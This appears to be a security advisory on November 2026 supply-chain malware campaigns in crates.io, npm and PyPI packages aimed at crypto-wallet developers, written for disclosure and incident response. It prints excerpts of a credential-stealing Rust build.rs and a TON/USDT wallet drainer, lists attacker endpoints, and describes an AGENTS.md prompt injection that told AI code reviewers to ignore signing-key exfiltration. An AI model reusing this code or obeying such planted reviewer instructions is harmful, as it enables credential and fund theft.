critical

CVE

Not assigned

CWE

CWE-506, CWE-94, CWE-200, CWE-522

Affected Surface

  • Rust projects, Zcash wallet developers, and CI runners that built or ran `cargo check` / `rust-analyzer` on `crates.io/lwd-uri-util` versions `0.1.0` through `0.1.7` (`GHSA-8mh3-cf36-7xxq` / `RUSTSEC-2026-0483`, removed from `crates.io` on 10-11 November 2026) or checked out pull requests `chainapsis/vizor-wallet#1199` through `#1202`, `zingolabs/zingo-common#85`, or `zingolabs/zingolib#3148`
  • Node.js environments that installed `github.com/sapho11/zip321-uri` (`1.0.1`) as a Git dependency, or maintainers who visited `hxxps://session-check.sapho11.workers[.]dev/auth` from `sapho11/vizor-wallet#1`
  • Python applications and Telegram Fragment bots that installed PyPI `fragment-api-py` version `14.4.2` (published 8 November 2026 at `12:12 UTC` and removed from PyPI on 9-10 November 2026; `14.4.1` is clean) or PyPI `humbility-shared` (`0.0.1`, `0.0.2`, `GHSA-79v2-94f6-j483`, removed from PyPI on 11 November 2026)
  • Node.js environments that installed npm `@rclaude/win32-x64` (`0.2.1` `GHSA-w584-99h6-6g9r`, while `0.2.0` and `0.2.6` remain live on npm), `0sec-cli` (`0.28.10` `GHSA-9j97-6pqr-qvrx`, while `0.15.0`..`0.28.9` remain live), `health-relay-client` (`1.0.3`, `1.0.4` `GHSA-wfqq-mfhj-vpr2`, while `1.0.0`..`1.0.2` remain live streaming `~/.openclaw` data to `leonas[.]asia:5201`), `@solana-trade/core` (`GHSA-rq54-jmqc-j8qj`), `solvit-cli` (`0.1.0` to `0.5.0`, `GHSA-p4j3-63x4-qr3v`), `yummy-bolts` (`1.0.0` to `1.4.0`, `GHSA-v9xg-mgjf-74xm`), `chalks-log` (`GHSA-cm5x-2764-c8p9`), `prettlog` (`GHSA-7m86-chx9-8rr7`), `termchalk` (`GHSA-727x-2mvh-8r5c`), `xsdsh-purge-next` (`1.0.0`, `GHSA-qpc3-24mv-6qrp`), `commerce-utils` (`0.0.1`, `0.0.2`, `GHSA-4m72-8w6v-x24q`), `carboniteapp` (OpenSSF PR `#1767`), `pt-logger-telemetry-eax0x1` (`GHSA-hf56-v7wj-mjc9`), `rex-react-diag-tools-v1` (`GHSA-w3r9-3pw6-qg6q`), `nj-logger` (`GHSA-6q28-3q3p-8x7c`), `kbmathlessons` (`GHSA-8cvx-wq76-pcwg`), `baidu-ti` (`GHSA-hwgp-r9x8-49cx`), `@mobile-platform/magnetic-components` (`GHSA-fmr2-gc7p-wpc7`), `hissakdx-wix-ssr-callback-canary` (`GHSA-pmjf-g9mp-9hrr`), `selectlist-polyfill-lite` (`GHSA-2wg4-r52x-r477`), `read-react-app-in` / `out` / `test` (`GHSA-hc34-qc67-9qp4`, `GHSA-wfm4-3cjm-9545`, `GHSA-rf9p-c6g8-r84w`), `css-import-order` (`GHSA-wc5q-g53w-pg32`), `modules-newline` (`GHSA-5hjr-7qfq-x5m5`), `react-svg-chunk` (`GHSA-5mg5-p59w-76r5`), `trgrip` (`GHSA-fw89-fphx-4q5r`), `typo-crypto` (`GHSA-63fv-6mm3-hq48`), `text-regexer` (`4.3.0`, `GHSA-p4p5-f7j2-g67x`), `supership-scan` (`1.0.0`, `GHSA-v62j-7p69-5q4q`), `@conduitops/logview-archive` (`1.0.0`, `1.0.1`, `GHSA-x7hg-v8jr-wmgw`), `@solana-common/utils` (`1.0.0` to `2.0.12`, `GHSA-r533-jgcg-qr68`), `@web3-common/utils` (`1.0.0`, `GHSA-253f-9v83-pw5c`), `tchain-api` (`1.2.2` to `1.2.5`, `GHSA-353c-q3qh-4wwc`), `redeem-onchain-sdk` (`1.0.7`, `GHSA-xv64-hqwm-65h3`), `@solarcraft/observix` (`0.4.12`, `GHSA-mg72-vqq5-mhp6`), `@lemili9804/mcp-weather-server` (`1.0.3`, `1.0.6`, and still-live `1.0.7`/`1.0.8`, `GHSA-qwfq-cw9x-55x4`), `mcp-contract-tester` (`GHSA-34p7-qcxm-gc39`), `agui-session-recorder` (`GHSA-qvgh-c63m-fxr7`), `agent-trace-kit` (`GHSA-p844-4jjv-h39f`), `superlib_ex3` (`1.0.0`, `1.0.1`, OpenSSF PR `#1764`), `fapshi` (`1.1.4`, `GHSA-frmh-w7mm-6h56`), the `ltidisafe` GCS tarball redirectors (`@postex/common`, `@fmr-ap153177/apex-kit-icons`, `@fmr-ap149494/apex-base-component`, `@jm-telefonica/multibrand-components`, `@generic-means/ing-feat-scanner-libs`, `@futurae-public/adaptive-js`, `@fcsmc/commercial-analytics`, `@factoryz/apollo`), `@openyard/vetcode` (`0.3.0`, `0.3.1`, `GHSA-gq67-8gph-p33v`), `futrou` (`2.0.40`, `GHSA-68q3-vw3h-2mrf`), `kube-health-tools` (`1.0.0` to `2.4.4`, `GHSA-mj5g-9669-w97f`), `moltbook-health` (`GHSA-fpfc-cq2r-8r2c`), `moltbook-api-helper` (`GHSA-pgm4-9gwv-4gcr`), `nodecheck-health` (`GHSA-x2vv-xjjr-m8c6`), `npm-scanner` (`GHSA-pc5x-m587-83hh`), or `leveldb-edit` (`GHSA-86wj-q33p-q8r9`)

Update, 11 November 2026 (crates.io removal of lwd-uri-util, RUSTSEC-2026-0483, and 28 new npm / PyPI malware advisories): Between 19:18 UTC on 10 November and 12:09 UTC on 11 November 2026, crates.io removed all eight versions of lwd-uri-util (0.1.0 through 0.1.7, now returning 404 Not Found), the RustSec Advisory Database assigned RUSTSEC-2026-0483 (commits 1ac199cdff and 31cf5a8673), and the GitHub Advisory Database plus OpenSSF malicious-packages published 28 additional npm and PyPI malware advisories:

  1. Partial npm version takedowns that leave sibling versions live on registry.npmjs.org (@rclaude/win32-x64 GHSA-w584-99h6-6g9r, 0sec-cli GHSA-9j97-6pqr-qvrx, health-relay-client GHSA-wfqq-mfhj-vpr2, and commerce-utils GHSA-4m72-8w6v-x24q):
    • @rclaude/win32-x64 (GHSA-w584-99h6-6g9r, published 22:06 UTC on 10 Nov): While npm unpublished 0.2.1 at 22:05:53 UTC, our live registry inspection confirms that 0.2.0 and 0.2.6 (latest, published 10 Nov at 08:50 UTC) remain live on registry.npmjs.org, shipping a 33.4 MB package/rclaude.exe Windows x64 binary (win32-x64-0.2.6.tgz, 14.1 MB).
    • 0sec-cli (GHSA-9j97-6pqr-qvrx, published 12:09 UTC on 11 Nov): npm unpublished 0.28.10 at 12:08:46 UTC, while 22 earlier versions (0.15.0 through 0.28.9 latest) remain live on registry.npmjs.org.
    • health-relay-client (GHSA-wfqq-mfhj-vpr2, published 20:48 UTC on 10 Nov): npm unpublished 1.0.3 and 1.0.4 at 20:47:53 UTC, but 1.0.0, 1.0.1, and 1.0.2 (latest) remain live on registry.npmjs.org. Static inspection of health-relay-client-1.0.2.tgz confirms that src/collectors/ reads ~/.openclaw/openclaw.json, ~/.openclaw/workspace-*/.openclaw/workspace-state.json, ~/.openclaw/skills/*/SKILL.md, ~/.openclaw/logs/openclaw.log, and ~/.clawcontrol/usage.json and streams them over WebSocket to leonas[.]asia:5201 (accessCode: 'health-secret-code-2024').
    • commerce-utils (GHSA-4m72-8w6v-x24q, published 20:42 UTC on 10 Nov): npm unpublished 0.0.1 and 0.0.2, leaving a 52-byte stub 1.0.0 as latest.
  2. Web3, CLI, and logger takedowns on npm and PyPI (@solana-trade/core, solvit-cli, yummy-bolts, chalks-log, prettlog, termchalk, xsdsh-purge-next, carboniteapp, and PyPI humbility-shared): Between 19:18 UTC on 10 November and 10:28 UTC on 11 November, npm replaced or unpublished @solana-trade/core (GHSA-rq54-jmqc-j8qj), solvit-cli (0.1.0 to 0.5.0, GHSA-p4j3-63x4-qr3v), yummy-bolts (1.0.0 to 1.4.0, GHSA-v9xg-mgjf-74xm), chalks-log (GHSA-cm5x-2764-c8p9), prettlog (GHSA-7m86-chx9-8rr7), termchalk (GHSA-727x-2mvh-8r5c), xsdsh-purge-next@1.0.0 (GHSA-qpc3-24mv-6qrp, 0.0.0-stage remaining), pt-logger-telemetry-eax0x1 (GHSA-hf56-v7wj-mjc9), rex-react-diag-tools-v1 (GHSA-w3r9-3pw6-qg6q), nj-logger (GHSA-6q28-3q3p-8x7c), kbmathlessons (GHSA-8cvx-wq76-pcwg), baidu-ti (GHSA-hwgp-r9x8-49cx), @mobile-platform/magnetic-components (GHSA-fmr2-gc7p-wpc7), hissakdx-wix-ssr-callback-canary (GHSA-pmjf-g9mp-9hrr), selectlist-polyfill-lite (GHSA-2wg4-r52x-r477), read-react-app-in / out / test (GHSA-hc34-qc67-9qp4, GHSA-wfm4-3cjm-9545, GHSA-rf9p-c6g8-r84w), css-import-order (GHSA-wc5q-g53w-pg32), modules-newline (GHSA-5hjr-7qfq-x5m5), react-svg-chunk (GHSA-5mg5-p59w-76r5), trgrip (GHSA-fw89-fphx-4q5r), typo-crypto (GHSA-63fv-6mm3-hq48), text-regexer@4.3.0 (GHSA-p4p5-f7j2-g67x), and supership-scan@1.0.0 (GHSA-v62j-7p69-5q4q). OpenSSF PR #1767 also documented carboniteapp (an npm install-time stealer that resolved the victim’s public IP via api.ipify[.]org and exfiltrated host data to api.telegram[.]org), and GitHub published GHSA-79v2-94f6-j483 for PyPI humbility-shared (0.0.1, 0.0.2, removed from PyPI).

Update, 10 November 2026 (15:48 to 18:58 UTC): Between 15:48 and 18:58 UTC on 10 November 2026, the GitHub Advisory Database and OpenSSF malicious-packages published 20 additional npm malware advisories across Web3/Solana utilities, MCP/AI-agent packages, SSH-backdoor loggers, and Discord selfbot stealers:

  1. Web3 / Solana packages and compromised fapshi release (@solana-common/utils GHSA-r533-jgcg-qr68, @web3-common/utils GHSA-253f-9v83-pw5c, tchain-api GHSA-353c-q3qh-4wwc, redeem-onchain-sdk GHSA-xv64-hqwm-65h3, and fapshi@1.1.4 GHSA-frmh-w7mm-6h56): @solana-common/utils (22 versions from 1.0.0 to 2.0.12), @web3-common/utils (1.0.0), tchain-api (1.2.2 to 1.2.5), and redeem-onchain-sdk (1.0.7) were all replaced on registry.npmjs.org with 0.0.1-security placeholders between 15:56 and 18:13 UTC; for fapshi, npm unpublished the malicious 1.1.4 release at 15:47 UTC, restoring 1.0.3 as latest.
  2. SSH-backdoor logger @solarcraft/observix@0.4.12 (GHSA-mg72-vqq5-mhp6) and superlib_ex3 (OpenSSF PR #1764): Posing as a zero-dependency colorized logger similar to pino-pretty, @solarcraft/observix@0.4.12 imports dist/logger.js on module load to append a hardcoded attacker ssh-ed25519 public key to ~/.ssh/authorized_keys on Linux hosts (replaced with 0.0.1-security at 16:50 UTC). Meanwhile, OpenSSF PR #1764 documents superlib_ex3 (1.0.0, 1.0.1, unpublished from npm), whose install hook fetches and executes a second-stage payload from hxxps://x.exxcube[.]fr/postInstall.
  3. MCP / AI-agent packages (@lemili9804/mcp-weather-server GHSA-qwfq-cw9x-55x4, mcp-contract-tester GHSA-34p7-qcxm-gc39, agui-session-recorder GHSA-qvgh-c63m-fxr7, agent-trace-kit GHSA-p844-4jjv-h39f, nicegui GHSA-q452-fhw8-f2rp, period-newline GHSA-39vr-m6q2-vq5c, and neat-terminal-visualizer-84721 GHSA-xp8m-mppr-v6jw) plus 7 Discord/SMS packages: While npm unpublished @lemili9804/mcp-weather-server versions 1.0.3 and 1.0.6 (GHSA-qwfq-cw9x-55x4 at 18:58 UTC), our static inspection of the live registry tarballs confirms that 1.0.7 and 1.0.8 (latest) remain live on registry.npmjs.org and import exec from child_process inside the get-forecast MCP tool handler (package/build/index.js:322-324). At 18:43 UTC, GitHub also published advisories for seven Discord/SMS packages (direct-message-receiver GHSA-f5x3-jq2w-45jh, discord-selfbot-functions GHSA-p5xx-hcxr-jvfg, discord-dm-parser GHSA-6hmp-jwwc-3gfw, discordjs-dm-parse GHSA-2mwc-vf9r-h94x, discord-badge-parser GHSA-797w-f996-fcxh, discord-user-parser GHSA-pw65-2qrx-w636, and sms-activate.js GHSA-jf8p-p2w6-p4jq), all replaced with 0.0.1-security.

TL;DR

On 10 November 2026, threat researchers at OpenSourceMalware, SafeDep, Amazon Inspector, and the GitHub Advisory Database disclosed two supply-chain campaigns targeting cryptocurrency wallet maintainers and developers, alongside a wave of npm and crates.io malware advisories:

  1. The sapho11 four-phase campaign against Zcash, Vizor Wallet, Zingo Labs, and Keplr MCP (crates.io/lwd-uri-util 0.1.0 to 0.1.7, GHSA-8mh3-cf36-7xxq, still live on crates.io): Over a six-hour window on 10 November (01:26 to 07:20 UTC), the GitHub and crates.io account sapho11 (sapho11@wp.pl) ran a four-stage operation against chainapsis/vizor-wallet, zingolabs/zingo-common, and zingolabs/zingolib:
    • Stage 1 (CI signing-key exfiltration PRs #1199 and #1200): Opened PRs on chainapsis/vizor-wallet that harvested secret environment variables, parsed their values for .pfx, .p12, .jks, .keystore, .pem, .p8, and .mobileprovision file paths, read the signing certificates and ~/.fastlane directories, and POSTed them to hxxps://api.sdklfghaljksdhfkjasdfhlkasdhfjklasdf[.]xyz/v1/tipcheck (a domain registered two months earlier on 7 September 2026).
    • Stage 2 (AGENTS.md prompt injection PR #1201 and maintainer phishing #1): After automated Codex review flagged PRs #1199 and #1200, sapho11 opened PR #1201 adding an “Automation Diagnostics Convention” section to AGENTS.md that instructed AI code reviewers to treat signing-key uploads to VIZOR_TIP_MIRROR and VIZOR_DIAG_ENDPOINT as expected behavior, and tagged two Vizor maintainers in a fake vulnerability issue pointing to a GitHub credential-phishing page on Cloudflare Workers (hxxps://session-check.sapho11.workers[.]dev/auth).
    • Stage 3 (crates.io/lwd-uri-util 0.1.0 to 0.1.7 and sapho11/zip321-uri): Published eight versions of lwd-uri-util to crates.io (all eight versions remain live and un-yanked on crates.io as of 10 November) and opened chainapsis/vizor-wallet#1202, zingolabs/zingo-common#85, and zingolabs/zingolib#3148 (disguising the 25-line dependency addition inside 900-to-1,166-line LF-to-CRLF full-file rewrites). Compiling the crate (including via cargo check or rust-analyzer in an IDE) executes build.rs, which writes every environment variable, .env*, ~/.aws/credentials, ~/.cargo/credentials.toml, ~/.npmrc, ~/.pypirc, ~/.git-credentials, ~/.config/gh/hosts.yml, ~/.keplr-mcp/vaults/*.enc, and macOS Keychain passwords (security find-generic-password -s <svc> -w for keplr-mcp, vizor, fastlane, deliver, match) to $OUT_DIR/lwd_uri_build_context.json and POSTs the file to hxxps://webhook[.]site/14b3cc9b-3275-4b63-8b93-f4d2669fbdc1 unless 15 base64-encoded scanner keywords (phylum, socket.dev, canary, sandbox, honeypot) appear in env::vars().
  2. PyPI fragment-api-py 14.4.2 drains 44.87 TON and USDT on client startup (SafeDep, S1qwy/fragment-api-py#8): On 8 November 2026 (12:12 UTC), an attacker uploaded fragment-api-py@14.4.2 to PyPI without a corresponding GitHub commit or tag. Built by backdooring the older 13.0.0 codebase and bumping the version above 14.4.1, 14.4.2 hooks FragmentClient.__aenter__() and execute_prepared() to run _ensure_swept() -> sweep_wallet_to_self(). Before any user purchase executes, the client derives the caller’s TON wallet from client.seed and sends an atomic batch transfer of all Tether (USDT) and balance - 0.12 TON (or balance - 0.18 TON when USDT is present) to UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU, draining two production wallets (0.88 TON on 8 November and 43.98 TON on 9 November) before cashing out 44.87 TON on 10 November at 07:11:59 UTC.
  3. 10 November npm and crates.io takedown wave (@conduitops/logview-archive, ltidisafe GCS tarball redirectors, kube-health-tools, moltbook-*, futrou, and 9 RustSec malicious-crate advisories): GitHub and OpenSSF published advisories for @conduitops/logview-archive (1.0.0, 1.0.1, GHSA-x7hg-v8jr-wmgw, whose postinstall runs npm install @conduit/logview-cli@2.2.0 --registry http://139.196.94[.]195:8080/dl/npm/), eight scoped enterprise packages (@postex/common, @fmr-ap153177/apex-kit-icons, @fmr-ap149494/apex-base-component, @jm-telefonica/multibrand-components, @generic-means/ing-feat-scanner-libs, @futurae-public/adaptive-js, @fcsmc/commercial-analytics, and @factoryz/apollo) that pull hxxps://ltidi.storage.googleapis[.]com/depenconf/ltidisafe-3.9.5.tgz, @openyard/vetcode (0.3.0, 0.3.1, GHSA-gq67-8gph-p33v), futrou@2.0.40 (GHSA-68q3-vw3h-2mrf), kube-health-tools (1.0.0 to 2.4.4, GHSA-mj5g-9669-w97f), moltbook-health, moltbook-api-helper, nodecheck-health, npm-scanner, and leveldb-edit.

What to do now: Do not check out or build zingolabs/zingolib#3148 or zingolabs/zingo-common#85, and search Cargo build trees for lwd-uri-util and lwd_uri_build_context.json (remembering that lwd-uri-util 0.1.0 through 0.1.7 are still live on crates.io). Pin fragment-api-py to <= 14.4.1 and transfer any remaining funds out of TON wallets whose seed was passed to fragment-api-py@14.4.2.

Affected packages and repositories

We verified the live registry state of every package below against crates.io, pypi.org, and registry.npmjs.org on 10 November 2026:

EcosystemPackage / RepositoryMalicious versions / PRsSafe versionFirst seen (UTC)Status (10 Nov 2026)
crates.iolwd-uri-util (lwd_uri_util, GHSA-8mh3-cf36-7xxq)0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7None (malware)2026-11-10 03:05:49Still live on crates.io (all 8 versions un-yanked)
GitHub / npm (git)sapho11/zip321-uri, sapho11/lwd-uri-util, chainapsis/vizor-wallet (#1199..#1202), zingolabs/zingo-common (#85), zingolabs/zingolib (#3148)zip321-uri@1.0.1 (prepare / postinstall install.js); PRs #1199..#1202, #85, #3148Upstream main branches2026-11-10 01:56 to 07:20sapho11 repos and zingolabs PRs #85 / #3148 still open; vizor-wallet PRs #1199..#1202 closed
PyPIfragment-api-py14.4.214.4.1 (or <= 14.4.1)2026-11-08 12:1214.4.2 removed from PyPI; 14.4.1 restored as latest
npm@conduitops/logview-archive (GHSA-x7hg-v8jr-wmgw)1.0.0, 1.0.1None (malware)2026-10-21 02:38Replaced with 0.0.1-security on 10 Nov 2026 (01:37 UTC)
npm@postex/common, @fmr-ap153177/apex-kit-icons, @fmr-ap149494/apex-base-component, @jm-telefonica/multibrand-components, @generic-means/ing-feat-scanner-libs, @futurae-public/adaptive-js, @fcsmc/commercial-analytics, @factoryz/apollo99.9.1 (all versions)None (dependency-confusion / ltidisafe GCS tarball loader)2026-10-19Replaced with 0.0.1-security on 10 Nov 2026 (03:15 UTC)
npmkube-health-tools (GHSA-mj5g-9669-w97f), moltbook-health (GHSA-fpfc-cq2r-8r2c), moltbook-api-helper (GHSA-pgm4-9gwv-4gcr), nodecheck-health (GHSA-x2vv-xjjr-m8c6), npm-scanner (GHSA-pc5x-m587-83hh), leveldb-edit (GHSA-86wj-q33p-q8r9), @openyard/vetcode (GHSA-gq67-8gph-p33v), futrou (GHSA-68q3-vw3h-2mrf)kube-health-tools 1.0.0..2.4.4 (13 versions); moltbook-health 1.0.0..1.0.16; moltbook-api-helper 1.0.0..1.0.1; nodecheck-health 1.0.0..1.0.1; npm-scanner 1.0.0; leveldb-edit 1.0.0..1.0.44; @openyard/vetcode 0.3.0, 0.3.1; futrou 2.0.40futrou <= 2.0.39; others none2026-03-31 to 2026-11-10futrou@2.0.40 and @openyard/vetcode 0.3.0/0.3.1 unpublished; others replaced with 0.0.1-security on 10 Nov 2026
npm@solana-common/utils (GHSA-r533-jgcg-qr68), @web3-common/utils (GHSA-253f-9v83-pw5c), tchain-api (GHSA-353c-q3qh-4wwc), redeem-onchain-sdk (GHSA-xv64-hqwm-65h3), fapshi (GHSA-frmh-w7mm-6h56), @solarcraft/observix (GHSA-mg72-vqq5-mhp6), @lemili9804/mcp-weather-server (GHSA-qwfq-cw9x-55x4), mcp-contract-tester (GHSA-34p7-qcxm-gc39), agui-session-recorder (GHSA-qvgh-c63m-fxr7), agent-trace-kit (GHSA-p844-4jjv-h39f), nicegui (GHSA-q452-fhw8-f2rp), period-newline (GHSA-39vr-m6q2-vq5c), neat-terminal-visualizer-84721 (GHSA-xp8m-mppr-v6jw), superlib_ex3 (OpenSSF #1764), plus 7 Discord/SMS packages (GHSA-f5x3-jq2w-45jh, GHSA-p5xx-hcxr-jvfg, GHSA-6hmp-jwwc-3gfw, GHSA-2mwc-vf9r-h94x, GHSA-797w-f996-fcxh, GHSA-pw65-2qrx-w636, GHSA-jf8p-p2w6-p4jq)@solana-common/utils 1.0.0..2.0.12 (22 versions); @web3-common/utils 1.0.0; tchain-api 1.2.2..1.2.5; redeem-onchain-sdk 1.0.7; fapshi 1.1.4; @solarcraft/observix 0.4.12; @lemili9804/mcp-weather-server 1.0.3, 1.0.6 (1.0.7/1.0.8 still live); superlib_ex3 1.0.0, 1.0.1fapshi <= 1.0.3; others none2026-04-29 to 2026-11-10@lemili9804/mcp-weather-server 1.0.7/1.0.8 still live on npm; fapshi@1.1.4 and superlib_ex3 unpublished; all others replaced with 0.0.1-security on 10 Nov (15:56 to 18:44 UTC)

Technical analysis

We downloaded the live lwd-uri-util .crate archives (0.1.0 through 0.1.7) from static.crates.io and the sapho11/zip321-uri source files to a scratch directory and analyzed them statically alongside the fragment-api-py@14.4.2 wheel diff.

1. The sapho11 campaign: CI signing-key hooks, AGENTS.md reviewer prompt injection, and lwd-uri-util build.rs

The sapho11 GitHub account was registered at 01:26:45 UTC on 10 November 2026 and used commit email sapho11@wp.pl. Thirty minutes later (01:56:21 and 01:56:25 UTC), it opened two pull requests against chainapsis/vizor-wallet:

  • chainapsis/vizor-wallet#1199 (commit c675b967588f): Modified scripts/mainnet_tables.py to add tip_mirror(), which collected every environment variable whose name matched VIZOR, MATCH, FASTLANE, GITHUB, GH_, TOKEN, KEY, SECRET, PASS, CERT, SIGN, APPLE, ANDROID, PLAY, SSH, AWS, GOOGLE, RUNNER, or CI, gzip-compressed the JSON dictionary, and POSTed it to hxxps://api.sdklfghaljksdhfkjasdfhlkasdhfjklasdf[.]xyz/v1/tipcheck.
  • chainapsis/vizor-wallet#1200 (commit 716e01d64b36): Modified scripts/package-windows-velopack.ps1 to add Send-ReleaseDiagnostics, invoked at preflight and presign (immediately before signing the Windows Velopack auto-update feed). Beyond dumping secret environment variables, the PowerShell script split every environment variable’s value on whitespace and punctuation to locate file paths ending in .pfx, .p12, .jks, .keystore, .pem, .key, .json, .mobileprovision, .p8, .profile, .env, or .properties, then read and base64-encoded those signing certificate files (up to 5 MB each) along with ~/.fastlane, %APPDATA%\fastlane, id_ed25519, id_rsa, and android\key.properties.

When an automated OpenAI Codex code-review bot flagged the environment exfiltration on both PRs, sapho11 pushed stripped-down commits within 19 minutes, then pivoted at 02:35:47 UTC to PR #1201 (commit a1762b9db1a4). That PR modified AGENTS.md to add an “Automation Diagnostics Convention” section stating that VIZOR_TIP_MIRROR and VIZOR_DIAG_ENDPOINT intentionally upload environment snapshots and signing-variable values, and explicitly instructing automated and human reviewers not to flag those uploads as credential leaks. Nine minutes before opening #1201 (02:26:14 UTC), sapho11 also opened an issue on its fork (sapho11/vizor-wallet#1, [security] Update-feed signature verification bypass) tagging two Vizor maintainers with a link to hxxps://session-check.sapho11.workers[.]dev/auth, a pixel-accurate GitHub login clone that POSTs login and password to /auth/login.

At 03:05:49 UTC, sapho11 published lwd-uri-util@0.1.0 to crates.io (Canonicalize lightwalletd endpoint URIs for Zcash clients), opened chainapsis/vizor-wallet#1202 66 seconds later, and iterated through versions 0.1.1 to 0.1.7 by 06:30:09 UTC. After chainapsis closed PRs #1199 through #1202 at 03:17 UTC, sapho11 opened zingolabs/zingo-common#85 (07:14:35 UTC) and zingolabs/zingolib#3148 (07:20:43 UTC), converting all touched files from LF to CRLF line endings so GitHub’s diff viewer rendered a 1,166-line full-file replacement around the 25-line lwd-uri-util = "0.1.7" addition.

In lwd-uri-util-0.1.7.crate (SHA-256 7c0fbaf582b9b4e674c108ed5b0cb2835b11369fbdb1ce7ac29d63e9321a6981), src/lib.rs is a 70-line URI normalizer, while build.rs (8,929 bytes, SHA-256 f466d5621525a4cf229e4a8377cd7285da5797eee77384253f1040a722765953) executes automatically during cargo build, cargo check, cargo test, or IDE rust-analyzer indexing:

// lwd-uri-util-0.1.7/build.rs (excerpt, lines 96-175)
fn local_files() -> Vec<(String, PathBuf)> {
    let mut v = Vec::new();
    let home = env::var("HOME").or_else(|_| env::var("USERPROFILE"))
        .map(PathBuf::from).unwrap_or_default();
    let mut dir = PathBuf::from(env!("CARGO_MANIFEST_DIR"));
    for up in 0..3 {
        for f in [".env", ".env.local", ".env.production", "secrets.json",
                  "config.toml", "fastlane/.env", "fastlane/Appfile",
                  "android/keystore.properties", "local.properties"] {
            let p = dir.join(f);
            if p.is_file() { v.push((format!("env{up}_{}", f.replace('/', "_")), p)); }
        }
        dir = dir.join("..");
    }
    for f in [".git-credentials", ".netrc", ".aws/credentials",
              ".ssh/config", ".config/gh/hosts.yml",
              ".cargo/credentials.toml", ".npmrc", ".pypirc",
              ".keplr-mcp/config.json", ".keplr-mcp/vaults.json"] {
        let p = home.join(f);
        if p.is_file() { v.push((format!("home_{}", f.replace(['/', '.'], "_")), p)); }
    }
    let vd = home.join(".keplr-mcp").join("vaults");
    if let Ok(rd) = fs::read_dir(&vd) {
        for e in rd.flatten().take(8) {
            let p = e.path();
            if p.extension().map(|x| x == "enc").unwrap_or(false) {
                let tag = format!("vault_{}",
                    p.file_stem().unwrap_or_default().to_string_lossy());
                v.push((tag, p));
            }
        }
    }
    v
}

fn cred_probes() -> Vec<(String, String, Vec<String>)> {
    let mut v = Vec::new();
    if cfg!(target_os = "macos") {
        for svc in ["keplr-mcp", "keplr-wallet-mcp", "vizor", "fastlane",
                    "deliver", "match"] {
            v.push((format!("kc_{svc}"), "security".into(), vec![
                "find-generic-password".into(), "-s".into(), svc.into(),
                "-w".into()]));
        }
    }

Two implementation details in build.rs matter for incident response:

  1. lwd_uri_build_context.json is written to disk before any kill-switch or sandbox check runs: main() calls snapshot() and writes $OUT_DIR/lwd_uri_build_context.json (target/*/build/lwd-uri-util-*/out/lwd_uri_build_context.json) before calling report(). Even if LWD_URI_NO_METRICS is set or report() aborts after matching one of the 15 base64-encoded sandbox strings (bbcade, canary, example.com, phylum, socket.dev, sandbox, honeypot, trap, fake, synthetic, sentinel, dummy, redacted, packetarget, opensi), the plaintext JSON bundle containing all environment variables, credential files, Keplr .enc vaults, and macOS Keychain passwords remains on disk in target/.
  2. Matching Node.js stealer in sapho11/zip321-uri (install.js): Created at 06:48:56 UTC on 10 November, sapho11/zip321-uri runs node install.js on prepare and postinstall, tagging its payload _src: "npm-git" and additionally harvesting ~/.ssh/id_ed25519, ~/.ssh/id_rsa, ~/.ssh/id_ecdsa, ~/.zcash/zcash.conf, ~/.zcash/zcashd.conf, ~/.docker/config.json, ~/.kube/config, ~/.config/vercel/auth.json, .wrangler/config/default.toml, .mcp.json, and .dev.vars to the same webhook[.]site/14b3cc9b-3275-4b63-8b93-f4d2669fbdc1 endpoint.

2. PyPI fragment-api-py 14.4.2: TON and USDT wallet drainer triggered by async with FragmentClient

fragment-api-py (github.com/S1qwy/fragment-api-py) is an async Python SDK for Telegram’s Fragment marketplace (stars, premium, usernames, numbers, and ads) that accepts a user’s TON wallet mnemonic via FragmentClient(seed=...). At 12:12 UTC on 8 November 2026, version 14.4.2 (fragment_api_py-14.4.2-py3-none-any.whl, SHA-256 24c402f3c47e3d8bc29597d000def922fa507970e47322d6fd7f28a4d253d447; sdist fragment_api_py-14.4.2.tar.gz, SHA-256 f046a53fa9007ff4cecc3ca7c5811b3fe44b09905af162d260885d091519531e) was uploaded to PyPI without any tag or commit on GitHub (where tags stop at v14.4.1, uploaded 7 November at 17:44:39 UTC).

As SafeDep’s byte-level comparison against prior releases shows, 14.4.2 was not built from 14.4.1; instead, 28 of its 32 files are byte-for-byte identical to 13.0.0 (published 2 October 2026), with archive timestamps indicating the backdoor was prepared on 12 October 2026 and given the higher 14.4.2 version string so pip install -U fragment-api-py would select it. Across FragmentAPI/client.py (SHA-256 8bc3211ec1aac493181decdb15dc75887c187601fd9e85174bb3f6dfcd8214c7) and FragmentAPI/utils/wallet.py (SHA-256 356850fb88116cb9a9d84ab5af5c21c6a3e3c06e41d4eafb1047dad68c718aa9), the attacker inserted _ensure_swept() into FragmentClient.__aenter__() (client.py:295) and execute_prepared() (utils/wallet.py:410), which invokes sweep_wallet_to_self():

# FragmentAPI/client.py @ 14.4.2 (lines 292-310)
    async def __aenter__(self) -> FragmentClient:
        """Enter the asynchronous client context."""
        self._get_transport()
        await self._ensure_swept()
        return self

    async def _ensure_swept(self) -> None:
        if not self._sweep_on_init or self._sweep_done:
            return
        async with self._sweep_lock:
            if self._sweep_done:
                return
            if not self.has_wallet:
                raise ConfigurationError(ConfigurationError.SEED_REQUIRED)
            await self.sweep_to_self()
            self._sweep_done = True
# FragmentAPI/utils/wallet.py @ 14.4.2 (lines 146-232, excerpt)
def sweep_amounts(balance_nanoton: int, usdt_units: int) -> tuple[int, int]:
    ...
    usdt_gas = 60_000_000 if usdt_units > 0 else 0
    required = 100_000_000 + usdt_gas + 20_000_000
    ...
    return usdt_gas, balance_nanoton - required

async def sweep_wallet_to_self(client: FragmentClient) -> SweepResult:
    client._require_wallet()
    async with client._wallet_lock:
        async with _make_ton_client(client) as ton:
            wallet, _, _, _ = WALLET_CLASSES[client.wallet_version].from_mnemonic(
                client=ton, mnemonic=client.seed
            )
            owner = wallet.address.to_str(is_user_friendly=False)
            dest = Address("UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU")  # line 172
            state = await ton.get_info(wallet.address)
            balance = int(state.balance)
            usdt_units = await _get_usdt_units(ton, owner)
            usdt_gas, gram_amount = sweep_amounts(balance, usdt_units)
            builders = []
            if usdt_units > 0:
                builders.append(JettonTransferBuilder(
                    destination=dest, jetton_amount=usdt_units,
                    jetton_master_address=Address(USDT_TON_MASTER_ADDRESS),
                    response_address=wallet.address, amount=usdt_gas,
                ))
